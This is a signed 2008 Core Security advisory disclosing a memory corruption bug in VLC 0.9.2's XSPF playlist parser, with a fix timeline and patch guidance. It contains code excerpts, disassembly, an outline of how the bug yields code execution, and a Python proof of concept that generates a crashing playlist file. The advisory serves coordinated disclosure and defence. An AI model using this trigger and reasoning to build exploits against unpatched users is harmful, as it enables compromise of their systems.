-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Core Security Technologies - CoreLabs Advisory http://www.coresecurity.com/corelabs/ VLC media player XSPF Memory Corruption 1. *Advisory Information* Title: VLC media player XSPF Memory Corruption Advisory ID: CORE-2008-1010 Advisory URL: http://www.coresecurity.com/content/vlc-xspf-memory-corruption Date published: 2008-10-14 Date of last update: 2008-10-14 Vendors contacted: VLC Release mode: Coordinated release 2. *Vulnerability Information* Class: Memory corruption Remotely Exploitable: Yes (client side) Locally Exploitable: No Bugtraq ID: N/A CVE Name: N/A 3. *Vulnerability Description* VLC media player is an open-source, highly portable multimedia player for various audio and video formats, as well as DVDs, VCDs, and various streaming protocols. It can also be used as a server to stream in unicast or multicast in IPv4 or IPv6 on a high-bandwidth network. VLC media player is vulnerable to a memory corruption vulnerability, which can be exploited by malicious remote attackers to compromise a user's system, by providing a specially crafted XSPF playlist file. The vulnerability exists because the VLC ('demux/playlist/xspf.c') library does not properly perform bounds-checking on an 'identifier' tag from an XSPF file before using it to index an array on the heap. This can be exploited to overwrite an arbitrary memory address in the context of the VLC media player process, and eventually get arbitrary code execution by opening a specially crafted file. 4. *Vulnerable packages* . VLC media player 0.9.2 5. *Non-vulnerable packages* . VLC media player 0.9.3 (no official binary files available for Windows platform) . VLC media player 0.9.4 6. *Vendor Information, Solutions and Workarounds* Update to VLC media player 0.9.4, available at http://www.videolan.org/vlc/. 7. *Credits* This vulnerability was discovered and researched by Francisco Falcon from Core Security Technologies. 8. *Technical Description / Proof of Concept Code* VLC media player has support for the XML-based XSPF playlist format [1]. Every track in an XSPF playlist has a number of attributes, such as 'identifier, location, title and duration'. The 'identifier' attribute is a numeric value that indicates the position of the track in the tracklist. Here's a sample playlist in XSPF format: /----------- <?xml version="1.0" encoding="UTF-8"?> <playlist version="1" xmlns="http://xspf.org/ns/0/"> <title>Sample playlist</title> <location>C:my-playlist.xspf</location> <trackList> <track> <identifier>0</identifier> <location>C:My%20musictrack1.mp3</location> <extension application="http://www.videolan.org/vlc/playlist/0"> </extension> <duration>239099</duration> </track> <track> <identifier>1</identifier> <location>C:My%20musictrack2.mp3</location> </track> <track> <identifier>2</identifier> <location>C:My%20musictrack3.mp3</location> </track> </trackList> <extension application="http://www.videolan.org/vlc/playlist/0"> <item href="0" /> <item href="1" /> <item href="2" /> </extension> </playlist> - -----------/ VLC media player's XSPF playlist format parser ('demux/playlist/xspf.c') does not properly perform bounds-checking before using the 'identifier' attribute value to index an array on the heap to write data on it. In the first place, the parser reads the 'identifier' attribute of a track and converts its value to 'int' type using the 'atoi' function from the standard C library, and saves it to the 'i_identifier' field of a 'demux_sys_t' structure: /----------- 575 else if( !strcmp( p_handler->name, "identifier" ) ) 576 { 577 p_demux->p_sys->i_identifier = atoi( psz_value ); 578 } - -----------/ After that, at lines 501-502, the parser compares 'i_identifier' with 'i_tracklist_entries'. This last field is a counter that holds the number of tracklist entries that were successfully parsed at the moment. If 'i_identifier' is less than 'i_tracklist_entries', the value of 'i_identifier' is used to index the 'pp_tracklist' array, and 'p_new_input' is written on that position (at line '505'). /----------- 501 if( p_demux->p_sys->i_identifier < 502 p_demux->p_sys->i_tracklist_entries ) 503 { 504 p_demux->p_sys->pp_tracklist[ 505 p_demux->p_sys->i_identifier ] = p_new_input; 506 } - -----------/ Since the XSPF parser does not perform bounds-checking before indexing the array to write on it, and having 'i_identifier' fully controlled by the user, an attacker may overwrite almost any memory address with 'p_new_input'. This is the disassembled vulnerable code: /----------- 70246981 . 39C2 CMP EDX,EAX ; i_identifier < i_tracklist_entries? 70246983 . 7D 29 JGE SHORT libplayl.702469AE 70246985 . 8B2B MOV EBP,DWORD PTR DS:[EBX] ; EBP = pp_tracklist = 0 70246987 . 8B7C24 44 MOV EDI,DWORD PTR SS:[ESP+44] ; EDI = p_new_input 7024698B . 897C95 00 MOV DWORD PTR SS:[EBP+EDX*4],EDI ; Saves p_new_input in pp_tracklist[i_identifier] - -----------/ At this point, when parsing the first track of the playlist, 'i_tracklist_entries' value is 0. The parser performs a signed comparison between 'i_identifier' and 'i_tracklist_entries', so by providing a negative value for 'i_identifier', an attacker can avoid that conditional JGE jump to be executed. After that, EBP is always 0 and the attacker controls EDX, so he can write 'p_new_input' to almost any memory address aligned to a 4-byte boundary. 'p_new_input' is a pointer to a structure of type 'input_item_t', that holds information about the playlist item being processed. At 'p_new_input + 0x10' there is a pointer to the track filename (provided by the 'location' attribute), excluding the path. This track filename (which is UTF-8 encoded) is controlled by the user too, so if an attacker overwrites a specially chosen memory address and the program executes some instructions that load 'p_new_input' into a CPU register and perform an indirect call like 'CALL DWORD[R32 + 0x10]' (where R32 is a 32-bit register), it will be possible to get arbitrary code execution with the privileges of the current user. The following Python code will generate an XSPF file that, when opened with VLC media player 0.9.2, will crash the application when trying to write 'p_new_input' to memory address 41424344. /----------- xspf_file_content = ''' <?xml version="1.0" encoding="UTF-8"?> <playlist version="1" xmlns="http://xspf.org/ns/0/"> <title>XSPF PoC</title> <location>C:My%20Musicplaylist.xspf</location> <trackList> <track> <identifier>-1873768239</identifier> <location>C:My%20MusicTrack1.mp3</location> <extension application="http://www.videolan.org/vlc/playlist/0"> </extension> <duration>239099</duration> </track> </trackList> <extension application="http://www.videolan.org/vlc/playlist/0"> <item href="0" /> </extension> </playlist> ''' crafted_xspf_file = open('playlist.xspf','w') crafted_xspf_file.write(xspf_file_content) crafted_xspf_file.close() - -----------/ 9. *Report Timeline* 2008-10-10: Core Security Technologies notifies the VLC team of the vulnerability, and that the advisory CORE-2008-1010 will be published on October 14th, since the vulnerability is already fixed in VLC versions 0.9.3 and 0.9.4. 2008-10-12: VLC team confirms that the vulnerability has been fixed (the vulnerability was discovered and fixed by the VLC team on September 15th). 2008-10-14: Advisory CORE-2008-1010 is published. 10. *References* [1] XSPF format http://www.xspf.org/ 11. *About CoreLabs* CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://www.coresecurity.com/corelabs. 12. *About Core Security Technologies* Core Security Technologies develops strategic solutions that help security-conscious organizations worldwide develop and maintain a proactive process for securing their networks. The company's flagship product, CORE IMPACT, is the most comprehensive product for performing enterprise security assurance testing. CORE IMPACT evaluates network, endpoint and end-user vulnerabilities and identifies what resources are exposed. It enables organizations to determine if current security investments are detecting and preventing attacks. Core Security Technologies augments its leading technology solution with world-class security consulting services, including penetration testing and software security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core Security Technologies can be reached at 617-399-6980 or on the Web at http://www.coresecurity.com. 13. *Disclaimer* The contents of this advisory are copyright (c) 2008 Core Security Technologies and (c) 2008 CoreLabs, and may be distributed freely provided that no fee is charged for this distribution and proper credit is given. 14. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.8 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iEYEARECAAYFAkj1DEkACgkQyNibggitWa2M+ACghrS9hKB5saDl3ufp69iJ46P5 DHoAn2Ygu5INc0u2P+tW+m+JZATCFXp0 =LilF -----END PGP SIGNATURE-----